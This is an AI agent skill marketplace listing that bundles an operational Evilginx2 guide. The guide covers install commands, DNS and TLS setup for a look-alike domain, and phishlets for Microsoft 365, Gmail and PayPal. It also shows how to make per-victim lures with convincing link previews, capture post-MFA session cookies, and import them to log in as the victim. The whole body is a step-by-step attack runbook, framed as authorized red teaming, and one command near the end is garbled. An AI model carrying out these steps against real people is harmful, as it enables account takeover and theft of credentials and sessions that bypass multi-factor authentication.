# Evilginx2

> >

- **Type:** Skill
- **Install:** `agentstack add skill-jph4cks-redhound-arsenal-evilginx2`
- **Verified:** Pending review
- **Seller:** [jph4cks](https://agentstack.voostack.com/s/jph4cks)
- **Installs:** 0
- **Category:** [Agent Skills](https://agentstack.voostack.com/c/agent-skills)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [jph4cks](https://github.com/jph4cks)
- **Source:** https://github.com/jph4cks/redhound-arsenal/tree/main/evilginx2
- **Website:** https://redhound.us

## Install

```sh
agentstack add skill-jph4cks-redhound-arsenal-evilginx2
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# evilginx2 Agent Skill

## When to Use This Skill

Use this skill when:
- Conducting authorized phishing simulations requiring MFA bypass
- The user needs to capture session tokens/cookies to sidestep 2FA
- Setting up a phishing infrastructure with valid TLS certificates
- Creating or adapting phishlets for a specific web application
- The user asks about evilginx2, adversary-in-the-middle phishing, or session hijacking
- Analyzing or testing the detection/defense posture against AiTM attacks
- Red team engagements requiring authenticated access beyond the login page

## What Evilginx2 Does

Evilginx2 is an adversary-in-the-middle (AiTM) phishing framework that acts as a reverse proxy
between the victim and the legitimate website. The victim's browser communicates with evilginx2
using a look-alike domain; evilginx2 relays all traffic to the real site. Because it sits in the
middle of an authenticated session, it captures session cookies AFTER the victim successfully
completes MFA — completely bypassing authenticator apps, SMS codes, and hardware tokens.
The captured cookies are imported into an attacker's browser for instant authenticated access.

## Installation

### Build from source (recommended — get latest phishlets)
```bash
# Prerequisites
sudo apt install -y golang git make

# Clone
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2

# Build
make

# Binary: build/evilginx
sudo cp build/evilginx /usr/local/bin/evilginx2

# Phishlets are in the phishlets/ directory — copy to working dir
mkdir -p /opt/evilginx && cp -r phishlets /opt/evilginx/
```

### Go install
```bash
go install github.com/kgretzky/evilginx2@latest
# Note: phishlets not bundled — clone repo for phishlet files
```

### Pre-built binary (releases page)
```bash
VERSION=3.3.0
curl -sSL https://github.com/kgretzky/evilginx2/releases/download/v${VERSION}/evilginx_linux_64bit.tar.gz \
  | tar -xz
sudo mv evilginx /usr/local/bin/evilginx2
```

### VPS requirements
- Public IP address (for DNS A records)
- Domain name with delegated nameservers (or A/CNAME records)
- Ports 53 (TCP/UDP), 80, 443 open in firewall
- Not shared hosting — must be a dedicated VPS

## Core Concepts

### Phishlets
A phishlet is a YAML configuration file that tells evilginx2 how to proxy a specific target
website. It defines:
- `proxy_hosts` — domain patterns to intercept (the real site's domains)
- `sub_filters` — text/URL substitutions in HTML/JS responses (replace real domain → phish domain)
- `auth_tokens` — which cookies/tokens to capture (name, domain, path, HTTP-only flag)
- `credentials` — which POST body parameters to extract (username, password fields)
- `landing_path` — URL paths that trigger the session capture

### Phishing Domain Setup
```
Attacker's domain: evilcorp-phish.com
Phishlet target: Microsoft 365

DNS setup:
  A     @              → VPS_IP      (optional, for direct access)
  A     *.evilcorp-phish.com → VPS_IP   (wildcard — catches all subdomains)
  NS    ns1            → ns1.evilcorp-phish.com  (if using evilginx2 as nameserver)
  A     ns1            → VPS_IP

Evilginx2 handles its own DNS internally when configured as authoritative nameserver.
Wildcard A record works without delegated NS (simpler, but no built-in DNS server).
```

### TLS Certificates
Evilginx2 automatically obtains Let's Encrypt certificates for the phishing domains it serves.
It uses the ACME protocol (HTTP-01 or DNS-01 challenge) when TLS is enabled. Requires:
- Port 80 open (HTTP-01 challenge)
- Domain DNS pointing to the VPS

## Starting Evilginx2

```bash
# Start with phishlets directory
sudo evilginx2 -p /opt/evilginx/phishlets

# Start with config in non-default path
sudo evilginx2 -p /opt/evilginx/phishlets -c /opt/evilginx/config

# Debug mode (verbose logging — useful during setup)
sudo evilginx2 -p /opt/evilginx/phishlets -debug

# Developer mode (disable SSL cert verification, use self-signed certs)
sudo evilginx2 -p /opt/evilginx/phishlets -developer
# -developer skips Let's Encrypt and uses test certs — safe for local testing

# Running on non-standard ports (e.g., for reverse proxy behind nginx)
sudo evilginx2 -p ./phishlets -http_port 8080 -https_port 8443
```

## Initial Configuration

After first start, configure the phishing domain and server IP from the evilginx2 REPL:

```
# Set the phishing domain (your registered domain)
config domain evilcorp-phish.com

# Set the server's external IP (VPS public IP)
config ipv4 203.0.113.50

# Verify config
config

# Expected output:
# domain    : evilcorp-phish.com
# ipv4      : 203.0.113.50
# https_port: 443
# http_port : 80
```

## Phishlet Management

```bash
# List all available phishlets
phishlets

# Check phishlet for a specific service
phishlets hostname o365        # Set hostname (subdomain prefix) for Microsoft 365 phishlet
# Syntax: phishlets hostname  
phishlets hostname o365 login
# Creates: login.evilcorp-phish.com → proxies login.microsoftonline.com

# Enable a phishlet (triggers Let's Encrypt cert request)
phishlets enable o365

# Disable a phishlet
phishlets disable o365

# List with status
phishlets
# Shows: enabled/disabled, hostname, TLS cert status

# Common built-in phishlets
# o365          — Microsoft 365 / Azure AD
# gmail         — Google / Gmail
# linkedin      — LinkedIn
# github        — GitHub
# facebook      — Facebook
# twitter       — Twitter/X
# outlook       — Outlook.com
# paypal        — PayPal
# dropbox       — Dropbox
# yahoo         — Yahoo Mail
```

## Creating and Managing Lures

Lures are unique per-victim phishing URLs with tracking metadata.

```bash
# Create a lure for a phishlet
lures create o365

# List all lures
lures

# Get the phishing URL for a specific lure (by ID)
lures get-url 0

# Set redirect URL (where victim goes after successful capture)
lures edit 0 redirect_url https://www.microsoft.com/en-us/microsoft-365

# Set a custom path (make URL look more legit)
lures edit 0 path /signin/v2/oauth2/authorize

# Set a OG (Open Graph) metadata for link preview
lures edit 0 og_title "Sign in to Microsoft 365"
lures edit 0 og_description "Your organization requires you to sign in."
lures edit 0 og_image https://www.microsoft.com/favicon.ico

# Delete a lure
lures delete 0

# Lure URL format
# https://login.evilcorp-phish.com/UNIQUE_TOKEN
```

## Session Capture and Token Extraction

```bash
# List captured sessions (live and completed)
sessions

# View details of a specific session by ID
sessions 0

# Session output includes:
# - Session ID
# - Phishlet name
# - Landing URL (which lure was used)
# - Username (if credentials captured)
# - Password (if captured in POST body)
# - Tokens (session cookies — the crown jewel)
# - Remote IP
# - User-Agent (victim's browser fingerprint)
# - Create/update timestamps
# - Session token (captured cookie JSON blob)

# Token output example:
# tokens: [
#   {domain: ".login.microsoftonline.com", name: "ESTSAUTH", ...}
#   {domain: ".login.microsoftonline.com", name: "ESTSAUTHPERSISTENT", ...}
# ]

# Export session tokens (for import into browser extension)
sessions 0
# Copy the JSON token blob

# Delete a session
sessions delete 0
# Delete all
sessions delete all
```

## Importing Captured Cookies into Browser

```bash
# Method 1: Cookie-Editor extension (Chrome/Firefox)
# 1. Install Cookie-Editor browser extension
# 2. Navigate to the legitimate site (e.g., portal.office.com)
# 3. Open Cookie-Editor → Import → paste JSON cookie blob from evilginx2
# 4. Refresh — you are now authenticated as the victim

# Method 2: EditThisCookie or J2TEAM Cookies extension
# Similar workflow — import the JSON blob from sessions output

# Method 3: Python requests (for API access)
python3 &1 | tee evilginx.log

# Verify cert status
curl -vI https://login.evilcorp-phish.com 2>&1 | grep -E "(SSL|TLS|cert|expire)"
```
---

> Built by [Red Hound InfoSec](https://redhound.us) — On-demand offensive security expertise for SMBs.
> 20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.
>
> **Related reading**: [MFA Is Not Enough: How Attackers Bypass Multi-Factor Authentication and What to Do About It](https://redhound.us/mfa-bypass)
>
> [redhound.us](https://redhound.us) | [GitHub](https://github.com/redhoundinfosec) | [Book a consultation](https://redhound.us/#contact)

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [jph4cks](https://github.com/jph4cks)
- **Source:** [jph4cks/redhound-arsenal](https://github.com/jph4cks/redhound-arsenal)
- **License:** MIT
- **Homepage:** https://redhound.us

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** yes
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: flagged — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-jph4cks-redhound-arsenal-evilginx2
- Seller: https://agentstack.voostack.com/s/jph4cks
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.